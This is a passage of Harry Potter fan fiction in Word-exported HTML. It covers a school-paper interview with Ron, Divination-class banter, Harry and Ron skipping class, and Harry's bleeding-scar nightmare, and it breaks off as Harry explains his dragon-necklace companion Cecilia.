style="mso-bidi-font-style:normal">Ron: Harry never ceases to surprise me. We are known\nfor being a team and I have no doubts he will deliver what is expected of him.\nHermione is also one of the smartest girls in school. If anyone can make me\nconfident, it&#8217;s her. Ginny&#8230; well she&#8217;s my sister; she has never disappointed me\nand never will.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Collin: What about Draco Malfoy? It&#8217;s no secret that\nyour friends and he are worst enemies.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Ron: Malfoy isn&#8217;t being as big of a &#8211;expletive\ndeleted- as he used to be, and is actually working quite well with us. I still\ndon&#8217;t think we&#8217;ll be &#8216;friends&#8217; any time soon, but Malfoy can hold his own and\nwon&#8217;t be a weak link in our team.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Colin: Words of a true Wizard. Keep your friends close\nand your enemies closer and you hold the key to victory. Ron, I wish you the\nbest of luck in the tournament.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Ron: thanks, Colin.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Colin: Summing up in one word, how can you describe\nyour plans on winning?</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Ron: &#8230;Strategy.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal">Harry clapped a hand on Ron&#8217;s\nshoulder and gave him a brief nod with a grin. Ron responded by returning his\nattention to his food, but held a smirk that showed he was proud of himself as\nwell. Flipping the page, Harry looked at the interview with the teachers, this\ntime being professor Flintwik.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey Harry!&#8221; Hermione\ngreeted, kissing his cheek as she sat next to him and getting a grin from all\nthe guys around her. &#8220;Oh, go back to breakfast.&#8221; She teased them all. &#8220;You&#8217;re just\njealous I don&#8217;t peck <i style="mso-bidi-font-style:normal">you</i> on the cheek\nin the mornings.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The males grumbled to\nthemselves, but went back to eating and reading their mail like usual. Harry,\nhowever, smiled at Hermione and gave her a Daily Prophet that an owl dropped\noff to him for her. She took it with a smile and started to drink her latt&#233;\nwhile reading. &nbsp;Harry smiled at her</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron groaned as they\napproached the tower to their Divination class. Hermione smiled and took her\narms from her two guys&#8217; and turned to walk backwards a little bit. &#8220;You boys\nshould have dropped when I did.&#8221; She grinned at them and turned at the next\ncorner, making sure to move in a cross between seductive and casual. The girl\nsmiled to herself when she felt their eyes on her as she departed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Since when did <i style="mso-bidi-font-style:normal">Hermione</i> walk like <i style="mso-bidi-font-style:\nnormal">that</i>?&#8221; Ron asked, unsure whether to be amazed, turned on, or just\nplain scared. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You should see her in bed.&#8221;\nHarry said without thinking. &#8220;An animal.&#8221;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8230;..&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8230;Was that out loud?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;An <i style="mso-bidi-font-style:\nnormal">ANIMAL</i>!?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked at his watch. &#8220;Whoops,\nlook at the time, we&#8217;re gonna be late!&#8221; And with that, he took off down the\nhall laughing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yo, Harry, mate!&#8221; Ron called\nafter him, trying to keep up. &#8220;Details man, come on!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;At least admit she was\ngreat.&#8221; Ron asked/told Harry in a whisper while Trelawny talked about reading\nthe &#8216;inner self&#8217; and how to visualize it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh she&#8217;s great,&#8221; Harry\ngrinned, also whispering, &#8220;She&#8217;s perfect.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron smirked. &#8220;But an <i style="mso-bidi-font-style:normal">animal</i>?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked away. &#8220;Let&#8217;s\npretend I never said that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh no, man, if you lose your\nvirginity before me, I&#8217;m sure as heck going to hear about it!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Potter, Weasley, would you\ndemonstrate for us please?&#8221; Trelawny asked, making the two boys jump to their\nfeet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course.&#8221; Ron stammered,\nlooking at Harry in panic.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Errrr&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Colour of auras.&#8221; One of\nHarry&#8217;s friends whispered helpfully up to them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right.&#8221; Harry nodded. &#8220;Ron was\njust telling me how you are, er,&#8221; He paused a second and closed his eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:\nnormal">Red, sweetie</i>.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, that&#8217;s right, red.&#8221;\nHarry continued, making Ron&#8217;s eyes go wide and getting an impressed look on\nTrelawny&#8217;s face. &#8220;You see,&#8221; He went on to venture. &#8220;Ron and I were discussing\nhow this room makes us feel&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:\nnormal">&#8230;Purple is what you are looking for, but I would say orange if you\ndon&#8217;t want detention.&#8221;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal">&#8220;Orange. Yes, most definitely\norange.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron gave Harry a weird look, but\nquickly shifted it. &#8220;Yes, I feel that way too.&#8221; Ron added in, trying to play\nalong smoothly. &#8220;We were in discussion about it, when you called on us. That&#8217;s\nwhy we were a bit surprised.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Trelawny looked as if she had\njust gained two new favourite students. &#8220;Thirty points to Gryffindor!&#8221; She congratulated,\nobviously impressed. &#8220;Now, follow these boys&#8217; example and write down your own\nideas about your aura colours and turn in Wednesday. Weasley and Potter are\nexempted, of course, for telling us in class, as you all will be doing next\nmeeting.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;<i style="mso-bidi-font-style:\nnormal">Thanks, Cecilia.</i>&#8217; Harry thought to his friend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:\nnormal">Next time I won&#8217;t help you out in class.</i>&#8221; She scolded him. &#8220;<i style="mso-bidi-font-style:normal">I just didn&#8217;t want to see you embarrassed</i>.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;<i style="mso-bidi-font-style:\nnormal">Thanks Just the same, I don&#8217;t know how I got by without you.</i>&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:\nnormal">Honestly, I don&#8217;t either, Harry. I don&#8217;t either.</i>&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The bell rang then, signaling\nthe end of the class. Ron immediately clapped his friend on the back and gave\nhim the thumbs up. &#8220;Harry, my friend,&#8221; he began, &#8220;I don&#8217;t know how you did it,\nbut I&#8217;m glad ya did it! Come on, let&#8217;s sneak off to Hogsmeade and I&#8217;ll buy you\nlunch!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Score! Come on, let&#8217;s grab\nthe shades!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione walked into the room\nshe shared with Harry, tossed her book bag beside her on the bed and then took\noff her shoes. On her way to the mirror, she stripped herself of her robes and untucked her shirt. &#8220;Harry?&#8221; She called out, suddenly\nrealizing that he wasn&#8217;t snoring from his usual post-Divination nap. &#8220;Where arrreeeee\nyyyooooouuuuu?&#8221; Hermione gripped the curtains of Harry&#8217;s bed and yanked them\nback. &#8220;Found you! Huh?&#8221; On his bed was a folded piece of parchment. Confused, Hermione\nreached down and picked it up. After unfolding it, she read the words to\nherself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Hermione,</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Me\nand Ron did great in Divination today and even got our house 30 points! In\nhonour of our good job in class, we are cutting charms and going to Hogsmeade\nto celebrate. I&#8217;ll bring you back some quills, love!</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~Harry</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal">&#8220;In honour of <i style="mso-bidi-font-style:normal">doing well</i> you&#8217;re <i style="mso-bidi-font-style:\nnormal">cutting class</i> to <i style="mso-bidi-font-style:normal">celebrate</i>!?&#8221;\nHermione asked, amazed. &#8220;Harold James Potter, you are <i style="mso-bidi-font-style:\nnormal">such</i> an idiot!&#8221;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry waved good\nbye/goodnight to Ron as they parted at the top of the stairs. As it turned out,\ntheir little &#8216;lunch&#8217; had turned into a &#8216;Let&#8217;s shop around!&#8217; and then into an\n&#8216;I&#8217;ll buy us Dinner since you got Lunch&#8217; and finally came down to an &#8216;Oh crap,\nwe gotta get back!&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Opening the door to his room\nslowly, Harry crept in as silently as he could. It was pitch black inside the\nroom, but his sunglasses had an illumination charm on them, making him able to\nsee in the darkness. Slowly, Harry took off his jeans and then his shirt,\npushing them into the corner of his room that doubled as his dirty cloths\nhamper. Now that he was in his usual sleeping attire, Harry wished his dragon\nfriend a good night and took off his sunglasses. The room was immediately plunged\ninto darkness. Harry felt his way to the curtains of his bed and pulled them\nback, only to see Hermione leaning back in the bed,\nreading by wand light.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;About time.&#8221; She said with a\nsigh. &#8220;I was wondering how long you&#8217;d be out there before getting in bed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sighed. &#8220;Should have\nknown. You didn&#8217;t have to wait up for me, you know.&#8221; He hopped into his bed and\nsat next to her, placing an arm around her shoulders. &#8220;What are you reading?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Your dragon\nbook.&#8221; She informed him, closing\nit after bookmarking her place. &#8220;Harry, we&#8217;re\nprefects, sometimes we&#8217;ve got to act like them you know?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He considered it. &#8220;I guess you&#8217;re\nright. Hey! Just yesterday I took five points away from Hufflepuff because a\nfirst year pushed another kid down!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione arched an eyebrow.\n&#8220;And then what?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He blushed lightly. &#8220;I taught\nthe other kid how to do a tickling spell to get even&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She sighed. &#8220;That&#8217;s what I\nmean, Harry, you&#8217;re too&#8230; too&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Irresistible?&#8221; he helped,\ntilting his head to the side.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah! And it&#8217;s&#8230; Harry!&#8221; She\nswatted at him, making him laugh and move out of the way.&nbsp; &#8220;I&#8217;m serious here! You need to start doing\nyour job. The first years look up to you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, ever since we stopped\nplaying tricks on them.&#8221; That earned him a glare. &#8220;Oops.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sighed. &#8220;I guess\nthat&#8217;s just you. Playful, irresponsible Harry Potter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You love me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Somehow.&#8221; Hermione held up\nher wand. &#8220;Nox.&#8221; The light on her wand dimmed slowly and then went out all\ntogether. &#8220;Well we need to turn in now. Tomorrow we have a Sorcerer&#8217;s meeting\nand we&#8217;ll probably train a lot before Friday. Then we&#8217;re going to study for our\nN.E.W.T.S all together so we can help each other out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled and got under\nthe covers. &#8220;Wow, you always think ahead don&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I try.&#8221; Hermione leaned over\nand gave him a quick peck on the lips. &#8220;Sweet dreams, love.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You too, Herms.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The pair snuggled close\ntogether and was soon in a deep slumber.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione opened her eyes\nquickly when she felt a sudden jerk around her waist. Rolling over, she\nsnatched her wand from the bed side dresser and shouted out &#8220;Lumos!&#8221;, only to\nbe greeted with the terrifying sight of Harry Potter having one of his\nlegendary nightmares. This one, however, seemed to be much, much worse than his others. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry gripped the bed sheets\nand pulled on them as his back arched into the air. He let out a horrid scream\nof pain and suffering. He pulled the sheets on their bed so hard they began to\ntear. Hermione tried to help him by embracing him in a hug, but whenever she\ngot close he would yell again and jerk away.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione yelped when she\nnoticed that his eyes were wide open, but unseeing.&nbsp; Harry rolled off of the bed and landed on his\nknees, bending over and grasping his head with both of his hands. &#8220;Don&#8217;t!&#8221; He\nyelled terrified. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione tried to place a\nhand on him, but Harry shouted again and spasmed as if hit by a spell. &#8220;Make it\nstop!&#8221; Harry suddenly whispered, as he curled into a fetal position, eyes shut\ntight. &#8220;Make it stop! Make it stop!&#8221; He shook his head violently a moment\nbefore calming down. Hermione once gain tried to reach him, but he started to\ntalk again. &#8220;Move. Move. Move. Move! Move! Move! Move! Come on, Move! Move!\nMove! Move! Move! They are all counting on me! Move! Move! Move! Move! There&#8217;s\nno point to this so come on already! <i style="mso-bidi-font-style:normal">Move</i>!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry opened his eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry?&#8221; Hermione asked the\nboy as he slowly moved to sit on his knees and place a hand on his head,\ncovering his scar. &#8220;Are you okay? Harry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I saw it.&#8221; He spoke calmly.\n&#8220;I saw him. Voldemort. He&#8217;s going to attack...&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, listen to me.&#8221;\nHermione gripped his shoulders and made him look at her. &#8220;It was a nightmare.&#8221;\nShe took Harry&#8217;s hands into hers and gasped when she felt them. Looking down at\nhis hand, she saw blood. Slowly she looked up to his forehead, where his scar\nwas bleeding.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dragons can&#8217;t see the\nfuture.&#8221; He told her calmly. &#8220;But with my link with Voldemort and Cecilia&#8217;s power,\nwe did it some how&#8230;&#8221; He stood and walked over to his desk, picked up a quill and started writing on a\nparchment. Hermione, used to this after a nightmare, went to her trunk and got\nout her massage oil and incense. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;re skipping a few classes\ntomorrow.&#8221; She informed him. &#8220;You are going to sleep in and I&#8217;m going to make\nsure you do it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hm.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gathered her things\nand went to Harry&#8217;s bed. She set her things down and picked up a washcloth.\nTapping her wand to it, she muttered a few choice words and was pleased to find\nit damp and cool. She walked over to Harry again and placed it on his forehead.\nHis scar usually burned when he slept, but this was the first time it actually <i style="mso-bidi-font-style:normal">bled.</i> He didn&#8217;t show any sign of\nrealizing what she was doing, but chose instead to talk to himself.\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Quite literally.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Cecilia, he came in an open\narea with lots of people. The Quidditch pitch? Yeah,\nthat sounds about right. Also there were banners. Lots of them. I can&#8217;t remember\nwhat they said&#8230; okay, yeah&#8230; And Sirius was there, as well as Lupin. They were\nnext to each other. Sirius was wearing a black cloak with red lining.&nbsp; Lupin was wearing the same thing in grey&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, love, can Cecilia\nremember your dreams?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No,&#8221; Harry replied, pausing\na second to turn and look at her. &#8220;She can only see things in my mind, so&#8230;&#8221;\nHermione arched an eyebrow, making Harry sigh. &#8220;I&#8217;ll tell you later, let me\nfinish this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded and started\nto prepare her massaging things. A few minutes later Harry took out a second\nparchment and wrote a letter to Sirius on it. &nbsp;When it was done, he folded the two together\nand inserted them into an envelope.&nbsp;\nStanding, he stretched out. &#8220;It feels so much better after writing it\ndown.&#8221; He informed her with a small smile. &#8220;It makes me feel better that I&#8217;m\ndoing something about it.&#8221; The tired boy then lay on his bed,\nface down. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Soon he found Hermione&#8217;s warm\nhands on his back, making him moan. &#8220;You&#8217;re muscles are tight.&#8221; She told him\nsoftly, sitting on his waist and rubbing them a little more firmly. &#8220;Relax,\nHarry. It&#8217;s okay now. You did your part.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah&#8230;&#8221; He agreed, taking a\nlong breath. &#8220;You&#8217;re right&#8230; I guess it&#8217;s time I told you about Cecilia isn&#8217;t\nit?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Past time.&#8221; She confirmed,\npausing a bit to Nox the lights; once again casting them into darkness. &#8220;Take\nyour time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded lightly, letting\nthe incense dull his mind. &#8220;I guess you already know she&#8217;s my necklace.&#8221; He\nheard her reply with an &#8216;mmhmm&#8217; before he continued. &#8220;You see, Cecilia was a\ndragon a long time ago. She looked after a village for a long, long time. Some\ntime ago, not sure just how long, she fought against Voldemort. After holding\nhim off for a while, he finally broke through her defenses and changed her into\na necklace. She talks to me through some kind of &#8216;mind speak&#8217;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did she also change your\neyes and hair and body?&#8221; She asked, rubbing his arms now, paying attention to\nevery finger while she did so.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah,&#8221; Harry nodded into the\npillow. &#8220;She takes my power 